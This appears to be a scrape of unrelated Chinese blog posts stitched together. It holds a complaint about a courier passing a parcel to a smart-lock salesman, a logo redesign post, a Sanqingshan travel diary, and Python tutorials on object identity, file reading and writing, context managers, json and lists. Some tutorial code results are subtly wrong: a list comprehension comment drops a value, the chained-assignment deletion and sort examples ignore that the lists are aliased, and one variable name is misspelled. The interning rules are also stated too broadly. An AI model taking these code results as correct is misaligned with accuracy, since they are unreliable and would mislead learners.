到了晚上7点,送货来人并非之前的快递员,我以为快递公司换派送员了,就没有多想,在拿到快递后,对方强调双十一来临,快递柜爆满,为了代收快递他们负责在客户家门上安装一个智能锁,智能锁带有一个方便袋,在客户家中没人的时候,快递员可以将快递放入袋中,以便投递。并宣称是免费产品。没有多想就让对方安装了,我原以为对方安装的东西是韵达公司提供的,经过关注的公众号和安装过程,事后我确认,对方并非韵达公司员工,所安装的所谓智能锁也并非韵达公司产品,而是一个叫海豚云管家的产品。很显然这个负责安装的人就是海豚云管家的地推人员了。
等装完了,对方也走人了,我扒拉最后两口饭,细想这事儿不对呀,对方地推人员是如何拿到我的快递的?有这么几种可能,这个海豚云管家的公司和韵达的基层网点达成了某种合作,韵达私自将快递交给了这些人。第二种地推人员与快递小哥私自交好,获取的用户快递。第三种地推人员以兼职身份送快递,干着本职的推广产品工作。当然也不排除这家公司和快递总部达成的某种合作。但是不论何种情况,快递公司将客户的快递私自交给第三方这种行为都是违规的。根据邮政法第三十五条的规定,除法律另有规定外,邮政企业及其从业人员不得向任何单位或者个人泄露用户使用邮政服务的信息。很显然,这里韵达公司不仅泄露了我的个人信息,并且将我的快递交给了不相关的人。后经与海豚云管家的沟通得知他们与快递公司有所谓的合作关系,而这并不能成为这家公司接触到我快递的理由。
经过这事,简单分析了下他们的商业模式和运作手法。商业模式其实也很简单,第一,他们自己经营快递业务,与快递公司合作,就等于是做了快递的代收点的概念,赚取的是配送费。第二,他们的系统带有一个微商城,通过这个商城上进行购买操作赚取的是商品利差。第三绑定的公众号这里媒体的完成导流及广告分发操作赚取的流量费。除此之外或许还有其他更多的赚钱方式。为什么这里我会说是真市场假需求呢,主要是从他们这个产品特点来看的,如图
这就是他们的所谓智能硬件产品。一个智能锁下面挂着一个加铝箔的无纺布袋。通过拉链及拉环与智能锁连接。当快递员把快递放入袋中后,挂上拉环,用户通过公众号内的微商城上的开锁按钮近距离蓝牙通信开锁。第一个伪需求,首先是这个储物袋,并不是很大,并且仅仅通过连个拉环连接,粘门上的是通过双面胶,所以必然的结果是无法承受大件和重件。关于防盗,因为我电话中是让对方把快递放我们家水表箱的,对方表示被盗的概率很大,我们小区的安保措施一向比较好,如果水表箱中的快递能被偷,那么挂在门上的这个布袋不但容易被偷(刀片轻轻一划就开,或者干脆用力一拉就能下来)并且还太显眼,至少放水表箱不是明面上的,所谓不怕贼偷就怕贼惦记,放在门上的安全系数大为降低。项庄舞剑意在沛公,这个海豚云管家宣传的放心代收的服务,其实并没有什么卵用,也没他们宣传的那么好为用户考虑,他们真正考虑的是他们自己,通过高频的使用开锁服务,简单高效的展是了他们的自有商城,诱导用户在他们商城消费才是他们的目的。这里有个小小的现实,就想淘宝京东都逃脱不了假货的存在,拼多多更是假货泛滥,那么这样的小公司,品控如何大家不妨自己想象。
忘了一提,在使用他们的服务,你还可以邀请你的家人也同步使用这个产品,在产品设置上面加入家人的手机号进行授权操作,现在,对用户的精准画像到了到了什么程度?家庭地址,家庭成员,如果外加经常购买他们的商品还能获取消费习惯这些相当精细的隐私数据,一旦泄露怎么办,这个风险大到不可想象。
经过一番思考,果断向邮政总局投诉了韵达公司,其次要求对方自行拆走他们的设备,退出微信群,取消公众号关注,删除对方客服微信,即便如此我的信息还是多了一个泄露渠道,记录下这些告诫自己下次别再着了类似的道,共勉!
最近光顾博客的朋友应该发现博主换了个LOGO,之前的墨绿色的云朵西枫里换了个图形并且换了颜色风格。去年新版上线的时候纠结没有logo怎么办,打算直接把博客名放上去就算了,联想到用的阿里云主机,广告全名云计算,干脆画个云朵放上去。这就成了之前一直用的那个版本。小插曲,去年年底的时候,沉淀小朋友还帮我画过一个过年喜庆版的LOGO,因为没有图形,所以我也没上线过,同样得感谢下沉淀了。
说起现在这个LOGO的设计者,得提下我们的橘总监,一个高级设计狮,好好的公司设计总监不做,嫌带徒弟麻烦外加遇到一个抠门二货老板,索性辞职回家专职带娃,这个操作就厉害了。刚认识他的时候,群里发车,送了辆“豪车”给他(一个梗)。简单交流后,有一天橘总监发我一个设计好的logo。中国风,又符合博客名寓意,非常棒,只是一句话:和我现在这个博客风格不搭呀。遂搁置许久。
最近橘总监终于熬过了老婆月子期。终于有事没事的折腾点事了,平时带带娃的间隙,又抽筋把其他几个小伙伴的logo给设计了一遍,一看机会来了,软磨硬泡,死缠烂打,拜托再让他帮我重新设计一个能符合现在风格的。这时候什么人活一张脸树活一张皮的概念早扔下水道了。架不住我三天两头的马屁加乞讨,又帮我设计了一个。不过得说回来,你要是跟他不熟,千万别开口,闭门羹是小意思,被喷就事大了。
这是一个符合江南园林风格的透花窗,如果你逛过苏杭一代的经典园林应该会多见这样的六边形。还有包括八边形的,圆形的,四叶型的各式的嵌在白墙黑瓦院墙上的。西枫里三个变化的字正好充当了透花窗的格栅。叠影效果更加立体,搭配浅绿。配上部分模糊的字体,有点近远焦的感觉。Copyright中西结合,完美。
对了,如果你有设计方面的需求,可以直接找他。小钱钱到位,设计包您满意。怎么找到橘总监?点这龙砚庭
In [1]: a=[1,2,3]
In [2]: id(a)
Out[2]: 2399283020744
In [3]: id(a.append(4))
Out[3]: 1417427824
In [4]: a.append(4)
In [5]: id(a)
Out[5]: 2399283020744
Object1=2018
Object2="2018"
# Object1的value是2018(数字)
# Object2的value是“2018”(字符串)
id(Object1) >>>2399282764784
id(Object2) >>>2399281922600
type(Object1) >>>int
type(Object2) >>>str
l1 = [1, 2, 3]
l2 = [1, 2, 3]
In [43]: l1 is l2
Out[43]: False
In [46]: id(l1)==id(l2)
Out[46]: False
# 两者Id不相等,因为:
In [44]: id(l1)
Out[44]: 2399279725576
In [45]: id(l2)
Out[45]: 2399282938056
# 新分配内存地址的例子
ww=[1,2]
ee=[1,2]
id(ww)==id(ee) >>>False
a=2018
b=2018
id(a)==id(b) >>>False
# 共用内存地址的例子
a=100
b=100
id(a)==id(b) >>>True
f1=True
f2=True
id(f1)==id(f2) >>>True
n1=None
n2=None
id(n1)==id(n2) >>>True
s="python_cat"
t="python_cat"
id(s)==id(t) >>>True
Python中,对于整数对象,如果其值处于[-5,256]的闭区间内,则值相同的对象是同一个对象。
Python中,字符串使用Intern机制实现内存地址共用,长度不超过20,且仅包括下划线、数字、字母的字符串才会被intern;涉及字符串拼接时,编译期优化结果会与运行期计算结果不同。
# 编译对字符串拼接的影响
s1 = "hell"
s2 = "hello"
"hell" + "o" is s2 >>>True
s1 + "o" is s2 >>>False
# "hell" + "o"在编译时变成了"hello",
# 而s1+"o"因为s1是一个变量,在运行时才拼接,所以没有被intern
如何将列表数据写入文件?
如何从文件中读取内容?
多样需求的读写任务
从with语句到上下文管理器
li = ['python',' is',' a',' cat']
with open('test.txt','w') as f:
f.write(li)
TypeError Traceback (most recent call last)
<ipython-input-6-57e0c2f5a453> in <module>()
1 with open('test.txt','w') as f:
----> 2 f.write(li)
TypeError: write() argument must be str, not list
# 以下3种写法等价,都是写入字符串“python is a cat”
In [20]: with open('test.txt','w') as f:
...: f.writelines(['python',' is',' a',' cat'])
...: f.writelines('python is a cat')
...: f.write('python is a cat')
# 以下2种写法等价,都是写入列表的字符串版本“['python',' is',' a',' cat']”
In [21]: with open('test.txt','w') as f:
...: f.write(str(['python',' is',' a',' cat']))
...: f.writelines(str(['python',' is',' a',' cat']))
# 作为反例,以下写法都是错误的:
In [22]: with open('test.txt','w') as f:
...: f.writelines([2018,'is','a','cat']) # 含非字符串
...: f.write(['python','is','a','cat']) # 非字符串
In [37]: content=[1,' is',' everything']
In [38]: with open('test.txt','w') as f:
...: for i in content:
...: f.write(str(i))
file.read([size]) 从文件读取指定的字节数,如果未给定或为负则读取所有。
file.readline([size]) 读取整行,包括 “\n” 字符。
file.readlines([sizeint]) 读取所有行并返回列表,若给定sizeint>0,则是设置一次读多少字节,这是为了减轻读取压力。
In [47]: with open('test.txt','r') as f:
...: print(f.read())
1 is everything.
python is a cat.
this is the end.
In [48]: with open('test.txt','r') as f:
...: print(f.readlines())
['1 is everything.\n', 'python is a cat.\n', 'this is the end.']
In [49]: with open('test.txt','r') as f:
...: print(f.readline())
1 is everything.
In [61]: with open('test.txt','r') as f:
...: for line in f.readlines():
...: print(line)
1 is everything.
python is a cat.
this is the end.
# 读取内容包含换行符,所以要strip()去掉换行符
In [62]: with open('test.txt','r') as f:
...: for line in f.readlines():
...: print(line.strip())
1 is everything.
python is a cat.
this is the end.
open(file, mode=‘r’, buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None)
In [63]: with open('test.txt','r') as f:
...: for line in f.readlines():
...: print(line.strip())
-----------------------
UnicodeDecodeError Traceback (most recent call last)
<ipython-input-63-731a4f9cf707> in <module>()
1 with open('test.txt','r') as f:
----> 2 for line in f.readlines():
3 print(line.strip())
UnicodeDecodeError: 'gbk' codec can't decode byte 0xa4 in position 26: illegal multibyte sequence
In [65]: with open('test.txt','r',encoding='utf-8') as f:
...: for line in f.readlines():
...: print(line.strip())
爱猫猫
python is a cat.
‘r’: 以只读模式打开(缺省模式)(必须保证文件存在)
‘w’:以只写模式打开。若文件存在,则清空文件,然后重新创建;若不存在,则新建文件。
‘a’:以追加模式打开。若文件存在,则会追加到文件的末尾;若文件不存在,则新建文件。
常见的mode组合
‘r’或’rt’: 默认模式,文本读模式
‘w’或’wt’: 以文本写模式打开(打开前文件会被清空)
‘rb’: 以二进制读模式打开
‘ab’: 以二进制追加模式打开
‘wb’: 以二进制写模式打开(打开前文件会被清空)
‘r+’: 以文本读写模式打开,默认写的指针开始指在文件开头, 因此会覆写文件
‘w+’: 以文本读写模式打开(打开前文件会被清空)
‘a+’: 以文本读写模式打开(写只能写在文件末尾)
‘rb+’: 以二进制读写模式打开
‘wb+’: 以二进制读写模式打开(打开前文件会被清空)
‘ab+’: 以二进制读写模式打开
# 不用with语句的正确写法
try:
f = open('test.txt','w')
f.writelines(['python',' is',' a',' cat'])
finally:
if f:
f.close()
# 使用with语句的正确写法
with open('test.txt','w') as f:
f.writelines(['python',' is',' a',' cat'])
上下文管理器是这样一个对象:它定义程序运行时需要建立的上下文,处理程序的进入和退出,实现了上下文管理协议,即在对象中定义了 __enter__() 和 __exit__() 方法。 __enter__():进入运行时的上下文,返回运行时上下文相关的对象,with 语句中会将这个返回值绑定到目标对象。 __exit__(exception_type, exception_value, traceback):退出运行时的上下文,定义在块执行(或终止)之后上下文管理器应该做什么。它可以处理异常、清理现场或者处理 with 块中语句执行完成之后需要处理的动作。
class OpenFile(object):
def __init__(self,filename,mode):
self.filename=filename
self.mode=mode
def __enter__(self):
self.f=open(self.filename,self.mode)
self.f.write("enter now\n")
return self.f #作为as说明符指定的变量的值
def __exit__(self,type,value,tb):
self.f.write("exit now")
self.f.close()
return False #异常会被传递出上下文
with OpenFile('test.txt','w') as f:
f.write('Hello World!\n')
enter now Hello World! exit now
from contextlib import contextmanager
@contextmanager
def open_file(name):
ff = open(name, 'w')
ff.write("enter now\n")
try:
yield ff
except RuntimeError:
pass
ff.write("exit now")
ff.close()
with open_file('test.txt') as f:
f.write('Hello World!\n')
时光总如白驹过隙,转眼间七天的黄金周已经结束了。话说七天假期窝在家不出门感觉算是浪费了,于是乎假期打算出去走走,预计了三到四天的行程,候选群里渣渣大佬们的家乡,包括笛大佬老家湖南张家界,滑稽大佬的老家古城西安,橘总监的老家福建厦门,小王老师的老家江苏南京,牛逼初中生的老家江西上饶。最终两个原因促成我们选择了江西上饶三清山婺源这条线。一是路途比较近,与我们浙江接壤,翻过衢州就到,单程500公里左右,二是相对而言人不是爆棚。最终老婆大人拍板,去江西。
国庆高速免费,一年就这一个比较适合出门的黄金周,所以人多是必然的,为了防止堵车这种尴尬的事情,作为老死机加夜猫子双重优势,果断选择后半夜出门,凌晨到达目的地,这样能显著避开那些驾照新手以及横冲直撞的旅游大巴。1号这一天,我们选择窝在上海,本地逛逛,让开第一波堵车高峰。正好顾村公园搞了一个啤酒节的小活动,还能免个门票,索性去了离家不远的顾村呆了一天,啤酒节的表演没看进去,倒是觉得旁边的水上表演还是挺有意思的,可能我这种土鳖没有玩过这种项目所以才觉的好玩吧。游荡了一天,饭点临了,我们一行三对夫妻三个娃儿,一顿炭火蛙锅祭了五脏庙。一天下来最终的成果也就是给老婆同事夫妻拍了一些照片罢了,顺道收获了一幅疲惫的躯壳到家。
鉴于第一天太累,2号在家窝了一天,收拾打包行李,预计下午能打个瞌睡,晚上好赶路,结果杂事忙完也没睡成,上半夜又略为兴奋导致没睡成。时间拨到半夜11点,准时出发。上了嘉闵高架或许是过节了车子都涌出上海,空荡荡的高架路,轻快的音乐响起,后座的老婆孩子很快就睡着了。不紧不慢的途径嘉兴服务区、西湖服务区、建德服务区,话说这年龄确实大了,一路竟睡意肆起,每到一个服务区短则眯了一刻钟,长则睡了一个时辰。等到常山服务区,东方鱼肚白已然泛起。后座娘俩也跟着起来,洗洗漱漱。等阳光从清晨薄雾中洒了下来,我们也正式到了八省通衢的地界,下了高速,换了国道县道乡道盘山公路终于到达山脚,时间走到了上午八点半。比我原本预计凌晨六点到达晚了两个多小时,再次感叹了岁月不饶人。
车到山脚,有交警指挥车辆沿旅游公路路边停靠,搁在平时是可以直接开到景区,如今假日高峰,只能停在山脚换乘转运大巴前往景区。停妥车,路边倒卖登山杖和帽子的商贩就围了过来,三句两句不需要也就打发了,根据交警的指示,步行300米有换乘点,看着大巴就在前面,也没多想就赶了过去,这下埋了个隐患,直接造成我们下山后,愉快的达成了一次乘坐警车的体验。
旅游大巴七弯八绕的算是把我们带到了景区山脚,随着人流走到了售票处,排了很长队伍,买了两张票,还不错,可以移动支付。当然也可以不用排队,直接微信扫码付,不过微信自助购买后是刷身份证进去的,貌似我们这样两个人要买两次也挺麻烦的,索性就排队买了票。售票处顺便给了一个号码纸,用于索道叫号用的,看到一群人排队,没搞清楚规则自然也跟着傻傻的排队,等队伍很长了,哪晓得前方工作人员大喊没号的不要排队,有号的根据叫号依次过来,等我明白这一刻,我们已经过了一百多号了,匆匆挤到最前面,把号给了工作人员,换回一句来了这么晚啊,也就顺利的进到索道候车厅了。等坐上缆车,恐高症的我,全程手心冒汗,两腿打颤,挨到了索道山顶,原本以为索道直接给我们带到山顶了,我俩带着半大点的孩子心想也不是很累,结果这才是真正的山脚,最开始以为停车处是山脚,到了景区以为索道起点是山脚,等下了缆车才发现前面都错了。接下来可谓苦行苦修之旅了。所以有的时候人呐,太自以为是总是要吃点亏的。
既来之则安之,扛着孩子,爬吧,拾级而上,没走几段台阶就气喘吁吁了,看着匆匆上山的人们,各色的行头,有小步快跑的壮小伙,衣着靓丽的美少女,岁月留痕的夕阳红,当然也不乏我们这样带着娃儿的中年油腻大叔。健步如飞的,拄着登山杖的,手牵手蜜语甜言的,大包小包带着帐篷的,欢声笑语夹杂着孩子哭闹声的,人流从人挤人前脸贴后背到稀稀疏丈外三两人,距离是越拉越大,山是越爬越高。顺着人流,我们走的西海岸的观光道,在岔口,我们的目标是三清宫,地图上看挺近的,自以为我们走了大半,休息处的三个小伙子从阳光海岸那边转过来这边下山,他们说我们走了三分之一还不到,直接吓得我夫妻二人心生退意,毕竟扛着走路蹒跚的半大点孩子是个体力活,孩子还不像背在身上的负重。此刻,我这个主心骨对老婆说,半途而废不是我们的作风,一定要去见见这山上的三位神仙。
这里不得不提一下这次的旅游地——三清山。作为道教圣地名山又是世界地质公园,三座主峰犹如道家三清列坐群山之巅,而起于两晋时代的三清山,在道教史上有着十分重要的地位,唐元两朝,中国道家文化发展极为鼎盛,三清山和江西龙虎山一并成了道家圣地。而此次我们要前往的三清宫就源于唐朝的三清观,在明代扩建成为三清宫。供奉着道家三清,玉清元始天尊、上清灵宝天尊、太清道德天尊。而我们此行爬山的目标就是见见这三位道家真神,朝拜真神的路注定艰苦的。
经过相当长的台阶跋涉,我们到了最后一个一段平缓栈道前的补给站,最开始我们预估错误,误认为索道是上到山顶的。所以水和干粮我们带的并不多,经过这一消耗,来到这我们就物资紧缺了。时间也到了晌午时分,饥肠辘辘,背包里带着泡面,到了补给站一般景区都有开水供应。结果一口被回绝,开水没有,只有买我们的泡面才给泡,单独要开水,10元一杯,再问泡面25元一碗,其实已经有了心理准备,景区加高山,双重因素还是着实被这价格吓了一跳,足足10倍的价差。最后明着挨宰吃了个透心凉而已。吃完,继续前行,果然是一段修在悬崖峭壁上的平缓栈道,没有了台阶,缓步上升,孩子也从我二人怀抱中下来,跌跌撞撞的自顾自的走了起来。
一路苦累咬着牙也就置身山中了,我家娃儿,约莫是走走抱抱累了,加上小孩子的新陈代谢旺盛,招致山中蚊子叮咬,正在牙牙学语的年龄,一个劲的叫痒痒痒痒,于是就给她挠挠,业已寒露时节,不曾想山上还有蚊虫,我俩也忘了带上止痒驱蚊药膏之类的,而一位下山的游客爸爸,带着他十几岁的儿子,正好经过身边,听到娃儿叫痒痒,迅速从他儿子背包中拿出一罐止痒青草膏递给我们,让我们给孩子擦擦,效果还真是立竿见影,作为不识货的我,还以为是紫草膏,还是老婆大人识货,一眼认出这进口高级产品,在千声万谢后告别那对父子后,我们接着又朝山顶走去。自从有了孩子,遇到需要帮助的时机就多了,也是如此才发现芸芸世界还是好人更多。
正如前述,孩子正在牙牙学语阶段,悬崖栈道对着山间谷底,说话间似乎都能听见回声,便在孩子面前对着山谷喊了一嗓子啊声,孩子迅速跟进,学着喊叫。稚嫩的嗓音听的游客是一阵欢笑,我父女俩到是乐此不彼。老婆抱怨了一句,一路上就你这个爸爸在干叫,不等话落,女儿又接上了,路人神补刀,还有你女儿。又是一阵笑声。喊着或许喊动了对面山崖的游客,有人喊,天王盖地虎,正常思路我跟了一句宝塔镇河妖。哪知跟这帮孩子有好大的代沟,对面给补了一句,小鸡炖蘑菇,尴尬不已。
到了山顶,又是一顿下坡,走到山的另外一面,半山腰,终于到了三清福地,三清宫就建在此处,山门见证了岁月流长。山门前有一个略大的广场,好多带着帐篷的在此休整,他们大都打算在山上过一夜后再下山的。景区很大,其实一天是逛不完了,我们上午9点进山,下山是晚上6点,我们也只是逛了一半的景区。所以不想太累,又能欣赏美景,夜宿山上也是不错的选择。在到三清门前,孩子在我肩膀睡着了,我只能扛着她,进了山门,进了道观,自睹三清,也不曾叩拜敬香,一是抱着孩子不便,二是道教礼数不懂,我二人更多的算是半个佛教徒,所以本着不知者不罪,也就匆匆看了看三清的真容,便退了出来。
稍事休整,已近下午三点时分,看了一眼地图,寻道阳光海岸这条路线就下山去了。有道是上山容易下山难,经过五个多小时的上山路,下山,小腿肚子直打颤,心中叫苦不迭。太阳西斜,凉意袭来,怕孩子着凉,白天气温高,也没带保暖衣物,山中美景也顾自不暇,只想着能在天黑之前下山。一路仍是形色人等,有搀着健硕老人的,有因路线之争的面红耳赤的,有恐高扶着栈道崖壁不敢走吊桥的,也有我们这样抱着背着熟睡娃儿的。经过一处临崖玻璃栈道休整后,我让她俩原地休息,我拍几张照片,老婆怕时间太晚,就跟我说她俩在前面先走,而我却没听到这句话,造成我拍完照片,没见到娘俩,可急坏了我,赶紧快步追到前面,且看到山下相当长的栈道上也没她俩身影,又着急忙慌的往回走,怕是错开了。结果回头再找一遍还是没见到,确信老婆孩子肯定在前面,等再次往前赶的时候,两条腿不听使唤了,下一级台阶,膝盖腿肚子酸疼酸疼。好在她俩在前面等我。在此之前我夫妻二人轮流抱孩子的,此之后,全靠老婆一人抱孩子了,不得不承认,在爬山的时候,老婆的脚力确实比我厉害的太多。我这一身肥膘算是白长了。
路经一线天等景观,终于下到山脚,傍晚时分,索道处都是下山的人,等着排队做缆车,一眼不见尽头的队伍,如潮的涌动。维持秩序的特警说我真是佩服你们这些带着孩子上山的,别人拄着登山杖一趟下来都累的半死,我们也只好谦虚的说还好还好,还是有不少带孩子上山的。聊的起劲了,特警们说起他们见过最狠的是怀孕六七个月的还要上山的。一波一波的梯次放人后,排了一个多小时的队,终于我们也在天刚刚撒黑的时候到了山脚售票处,又怕换乘大巴结束,马不停蹄的跑到换乘点,还是绵长的队伍,还是焦急的等待。我们所乘坐的2号线一直没有车来,经过调拨的1号线大巴最后把我们带下了山。
坐上换乘大巴,心安不及一刻,一团阴影袭上心来,司机说提前跟我说你们要下车的位置,因为每个人停车位置都不尽相同。而我,根本不知道我把车停在哪里,原以为这班车会在我们早上上车的地方停下。外面又是黑不隆咚,司机原本准备掉头的地方因车上乘客吵嚷说还有好几公里,最后把我们所有人都带到了最外面的终点站。而这个前不着村后不着店的地方,离我停车的地方还不知道是几公里,我也不知道我们是坐过了还是没到,下车就彻底蒙圈了。无奈打了110,经过110指令调拨,当地三清山交警大队一位交警与我们联系,然后实在没好气的跟他一顿抱怨加训斥,最后那边说另外会安排同事跟我联系,过了几分钟另一位交警联系上我们,说他正在下班的路上,待会儿过来,让我们原地等待。不多久,见一辆警灯闪烁的警车从前方过来,让我们上车,大致说明了一下我们早上的停车时间,交警判断我们应该是坐过了,于是掉头沿路边寻找,路上聊起说你们停车的时候没有定位啊,我只好说早上停车的时候就在换乘点附近,所以压根也没想到这出,大概找了几公里,终于路边找到我的车,临下车交警听说我们要转道去婺源,交代说晚上天黑山路注意安全,我们道谢后下了车。这里得再次感谢三清山交警大队的王翰飞警官,要不是他下班了还来接我们,我们怕是得在山上找车找几小时了。
转道去婺源的路上,已经晚上快八点了,我们之前在景区胡乱吃了些,可是孩子晚上还有一顿奶粉小家伙是必喝的,娃儿也是饿的前胸贴后背了,老婆不忍心说我去路边人家讨点开水泡奶粉。这大山里一是人家少,二是这大半夜的去敲门,我是觉的不太方便,我就说等等,过了一会儿我看到有客栈,路边停车,我说这里去要开水吧,对方店老板以为我们是网上订他们家客栈的游客,走到跟前道明缘由,二话不说帮我们倒了开水,我们说给她钱,人家不收,我们原本去婺源住宿,索性就问了下房间情况,被告知不好意思被定完了,让我们前面去看看还有很多酒店客栈。辞别后继续前行,到了另一面的山脚集镇,自己也饿了,就找了个可以停车的饭店门口准备饱餐一顿。点了几个菜,贵就算了,可以理解,关键是不给发票,走哪都要发票的我此刻顿时受了刺激,没好气的一转话锋:那我打税务部门电话了你不给我发票的话,哪知那老板娘也是社会经验丰富,你打吧,爱打不打,我们只有收据。作罢,怏怏而走,一想回头我找主管部门投诉不得留点证据啊,就转头对那老板娘说收据就收据吧,对方也是一脸不情愿的开了张收据,这特么连章也没有,老板娘你好歹给我敲个章啊,更加一脸的不情愿。临出门我又拍了下店名,打算回来投诉呢,这不,这几天忙着还没来得及。
在饭店与其他客人交流得知,他一早在婺源只有十几分钟的车程堵车两个多小时,直接把我老婆吓的实在不想去了,再说秋天的婺源风景没有春景那般的美,一天下来浑身酸痛,老婆说我们回去吧,太累了,再三跟她确认想法后,打道回府。
{
"name": "小明",
"age": 14,
"gender": true,
"grade": null,
"skills": [
"JavaScript",
"Java",
"Python"
]
}
In [1]: import json
In [2]: d = dict(name='Tom', age='8', score=88)
In [3]: json.dumps(d)
Out[3]: '{"name": "Tom", "age": "8", "score": 88}'
In [4]: with open('test.json', 'w') as f:
...: json.dump(d, f)
In [15]: d = dict(name='Python猫', age='8', score=88)
In [16]: json.dumps(d)
Out[16]: '{"name": "Python\\u732b", "age": "8", "score": 88}'
In [17]: json.dumps(d, ensure_ascii=False, indent=4, sort_keys=True)
Out[17]: '{\n "age": "8",\n "name": "Python猫",\n "score": 88\n}'
In [18]: print(json.dumps(d, ensure_ascii=False, indent=4, sort_keys=True))
{
"age": "8",
"name": "Python猫",
"score": 88
}
In [1]: import json
In [2]: d = dict(name='Tom', age='8', score=88)
In [3]: tom_json = json.dumps(d)
In [4]: json.loads(tom_json)
Out[4]: {'age': '8', 'name': 'Tom', 'score': 88}
In [5]: with open('test.json', 'r') as f:
...: print(json.load(f))
{'name': 'Tom', 'age': '8', 'score': 88}
# -*- coding: utf-8 -*-
m = {'a' : '你好'}
print m
=>{'a': '\xe4\xbd\xa0\xe5\xa5\xbd'}
print json.dumps(m)
=>{"a": "\u4f60\u597d"}
print json.dumps(m,ensure_ascii=False)
=>{"a": "浣犲ソ"}
print json.dumps(m,ensure_ascii=False).decode('utf8').encode('gb2312')
=>{"a": "你好"}
Python3 的默认编码格式是 utf-8,以上例子,只需要ensure_ascii=False
,就能解决。
list_a = [] # 空列表,即len(list_a) == 0
list_b = [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
# list_b 长度为5,包含2个数字元素、1个字符串元素、1个列表元素和1个元组元素
len(list_b) == 5
list_b[0] == list_b[-5] == 2018
lits_b[3] == list_b[-2] == ['hi', 1, 2]
lits_b[4] == list_b[-1] == (33, 44)
list_a = [1, 2, 3]
list_b = list("abc") # list_b == ['a', 'b', 'c']
list_c = list((4, 5, 6)) # list_c == [4, 5, 6]
list_d = [i for i in list_a] # list_d == [1, 2, 3]
list_e = [i*j for i in list_a for j in list_c] # list_e == [4,5,6,10,12,12,15,18]
list_f = [i*j for i,j in zip(list_a,list_c)] # list_f == [4, 10, 18]
list_g = [i for i in list_a if i%2 == 0] # list_g == [2]
# 结合range()函数,range(start, stop[, step])
list_h = list(range(3)) # list_h == [0, 1, 2]
list_i = list(range(3,7)) # list_i == [3, 4, 5, 6]
list_j = list(range(3,9,2)) # list_j == [3, 5, 7]
# 找出100以内的能够被3整除的正整数
list_k = list(range(3,100,3)) # list_k == [3, 6, 9, ..., 96, 99]
# 以下分别添加2个元素
list_a = []
list_a.append('happy') # list_a == ['happy']
list_a.insert(0, 'very') # list_a == ['very', 'happy']
# 以下两种扩充列表方式
list_1 = ['I', 'am']
list_2 = ['very', 'happy']
list_3 = list_1 + list_2 # 新列表 list_3 == ['I', 'am', 'very', 'happy']
list_1.extend(list_2) # 原列表1扩充,list_1 == ['I', 'am', 'very', 'happy']
# 以下4种删除列表元素方式
list_1 = list_2 = list_3 = list_4 = ['I', 'am', 'very', 'happy']
del list_1[0] # list_1 == ['am', 'very', 'happy']
list_2.remove('I') # list_2 == ['am', 'very', 'happy']
list_3.pop() # list_3 == ['I', 'am', 'very']
list_4.pop(0) # list_4 == ['am', 'very', 'happy']
# 清空与销毁
list_a = [1, 2, 3]
list_b = [1, 2, 3]
list_b.clear() # list_b == []
del list_a # 没有list_a了,再使用则会报错
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]
# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:] == li[::] == li[-X:X] == li[-X:]
li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2] == [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素
# 注意列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤
li[::0] # 报错(ValueError: slice step cannot be zero)
list_1 = [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
len(list_1) == 5
list_1.count(10) == 1 # 元素10的数量为1
list_1.index(10) == 1 # 元素10的索引为1
list_1.reverse() # list_1 == [(33, 44), ['hi', 1, 2], '2018-10-1', 10, 2018]
# 比较浅拷贝与深拷贝
import copy
list_a = [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
list_b = ['hi', 1, 2]
list_c = list_a.copy() # list_c == [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
list_d = copy.deepcopy(list_a) # list_d == [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
# 改变原列表中的可变对象元素
list_a[3].append('new') # list_a == [2018, 10, '2018-10-1', ['hi', 1, 2, 'new'], (33, 44)]
# 浅拷贝中的可变对象会随原列表变化而变化
list_c == [2018, 10, '2018-10-1', ['hi', 1, 2, 'new'], (33, 44)]
# 深拷贝中的可变对象不会随原列表变化而变化
list_d == [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
# 比较sort() 与 sorted()
list_1 = list_2 = [2,1,4,6,5,3]
list_1.sort() # 原列表变化:list_1 == [1,2,3,4,5,6]
list_3 = sorted(list_2) # 原列表不变:list_2 == [2,1,4,6,5,3]; list_3 == [1,2,3,4,5,6]
我决定在Python中使用0-based索引方式的一个原因,就是切片语法(slice notation)。
让我们来先看看切片的用法。可能最常见的用法,就是“取前n位元素”或“从第i位索引起,取后n位元素”(前一种用法,实际上是i==起始位的特殊用法)。如果这两种用法实现时可以不在表达式中出现难看的+1或-1,那将会非常的优雅。
使用0-based的索引方式、半开区间切片和缺省匹配区间的话(Python最终采用这样的方式),上面两种情形的切片语法就变得非常漂亮:a[:n]和a[i:i+n],前者是a[0:n]的缩略写法。
如果使用1-based的索引方式,那么,想让a[:n]表达“取前n个元素”的意思,你要么使用闭合区间切片语法,要么在切片语法中使用切片起始位和切片长度作为切片参数。半开区间切片语法如果和1-based的索引方式结合起来,则会变得不优雅。而使用闭合区间切片语法的话,为了从第i位索引开始取后n个元素,你就得把表达式写成a[i:i+n-1]。
……
特别是当两个切片操作位置邻接时,第一个切片操作的终点索引值是第二个切片的起点索引值时,太漂亮了,无法舍弃。例如,你想将一个字符串以i,j两个位置切成三部分,这三部分的表达式将会是a[:i],a[i:j]和a[j:]。
# 计算斐波那契数列的生成器
def fibon(n):
a = b = 1
for i in range(n):
yield a # 使用yield
a, b = b, a + b
# 计算前1000000个数,通过next()函数,按顺序每次生成一个数
g = fibon(1000000)
next(g) # 1
next(g) # 1
next(g) # 2
next(g) # 3
next(g) # 5
